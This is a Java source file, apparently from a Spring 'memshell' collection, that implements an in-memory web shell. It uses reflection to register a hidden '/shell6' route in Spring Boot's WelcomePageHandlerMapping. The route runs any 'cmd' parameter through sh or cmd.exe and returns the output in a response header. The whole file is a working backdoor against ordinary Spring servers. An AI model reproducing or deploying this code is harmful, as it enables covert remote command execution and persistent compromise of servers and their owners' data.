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No6_WelcomePageHandlerMappingShell.java
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57 lines (50 loc) · 2.63 KB
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package com.example.springshell.memshell;
import com.example.springshell.utils.Util;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.HandlerMapping;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import java.io.InputStream;
import java.util.List;
import java.util.Scanner;
import java.lang.reflect.Field;
import java.util.Map;
public class No6_WelcomePageHandlerMappingShell implements Controller {
public static String injectShell() throws Exception{
DispatcherServlet servlet = new Util().getServlet();
List<HandlerMapping> handlerMappings = (List<HandlerMapping>) Util.getFieldValue(servlet,"handlerMappings");
HandlerMapping welcomePageHandlerMapping = null;
for (HandlerMapping handlerMapping : handlerMappings) {
if (handlerMapping.toString().startsWith("org.springframework.boot.autoconfigure.web.servlet.WelcomePageHandlerMapping")) {
welcomePageHandlerMapping = handlerMapping;
}
}
Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");
Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");
field.setAccessible(true);
Map handlerMap = (Map) field.get(welcomePageHandlerMapping);
handlerMap.put("/shell6",new No2_ControllerHandlerShell());
return "{\"result\":\"No6_WelcomePageHandlerMappingShell\"}";
}
@Override
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// response.getWriter().write(output);
// response.getWriter().flush();
// response.getWriter().close();
response.setHeader("Exec-result", new String(output));
}
return null;
}
}